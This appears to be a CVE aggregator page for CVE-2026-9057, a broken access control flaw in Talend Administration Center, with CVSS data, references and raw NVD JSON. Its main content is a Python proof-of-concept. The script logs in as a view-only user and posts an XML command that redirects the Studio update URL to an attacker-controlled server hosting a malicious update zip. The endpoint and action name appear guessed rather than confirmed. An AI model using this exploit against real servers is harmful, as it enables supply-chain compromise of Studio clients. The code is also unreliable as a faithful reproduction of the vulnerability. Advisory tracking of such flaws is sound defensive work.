CVE-2026-9057

Description

A broken access control issue has been identified in the Talend Administration Center, that allows a user with “View” permission to modify the Talend Studio update URL. This issue was resolved in a patch, which is already available.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Talend Administration Center (修复补丁发布前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "http://target-talend-server:8080"
login_url = f"{target_host}/j_security_check"
config_url = f"{target_host}/org.talend.administrator/metaServlet"

# Low-privileged user credentials (View permission only)
username = "viewer_user"
password = "viewer_password"

# 1. Authenticate to the application
session = requests.Session()
payload = {
    "j_username": username,
    "j_password": password
}
print(f"[*] Attempting login as {username}...")
response = session.post(login_url, data=payload)

if response.status_code == 200 and "Login failed" not in response.text:
    print("[+] Login successful.")

    # 2. Exploit Broken Access Control to modify Update URL
    # The action 'updateConfiguration' might be restricted, but is vulnerable here.
    # We point the update URL to a malicious server.
    malicious_url = "http://attacker-controlled-server/malicious-update.zip"
    
    soap_body = f"""<?xml version="1.0" encoding="UTF-8"?>
    <talendJsonCmd>
        <actionName>updateConfiguration</actionName>
        <actionParams>
            <param name="update.site.url">{malicious_url}</param>
            <param name="author">{username}</param>
        </actionParams>
    </talendJsonCmd>"""

    headers = {"Content-Type": "application/xml"}
    print(f"[*] Sending payload to change update URL to: {malicious_url}")
    
    exploit_response = session.post(config_url, data=soap_body, headers=headers)

    if exploit_response.status_code == 200:
        print("[+] Exploit executed successfully. Check configuration if update URL changed.")
    else:
        print("[-] Exploit failed or endpoint returned error.")
else:
    print("[-] Login failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9057/
[4] VulDB https://vuldb.com/cve/CVE-2026-9057
[5] https://community.qlik.com/t5/Official-Support-Articles/Security-fix-for-Qlik-Talend-Administration-Center-URL-access/ta-p/2548524

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9057", "sourceIdentifier": "4ac701fe-44e9-4bcd-9585-dd6449257611", "published": "2026-05-20T05:16:23.467", "lastModified": "2026-05-20T05:16:23.467", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A broken access control issue has been identified in the Talend Administration Center, that allows a user with “View” permission to modify the Talend Studio update URL. This issue was resolved in a patch, which is already available."}], "metrics": {"cvssMetricV31": [{"source": "4ac701fe-44e9-4bcd-9585-dd6449257611", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.8}]}, "references": [{"url": "https://community.qlik.com/t5/Official-Support-Articles/Security-fix-for-Qlik-Talend-Administration-Center-URL-access/ta-p/2548524", "source": "4ac701fe-44e9-4bcd-9585-dd6449257611"}]}}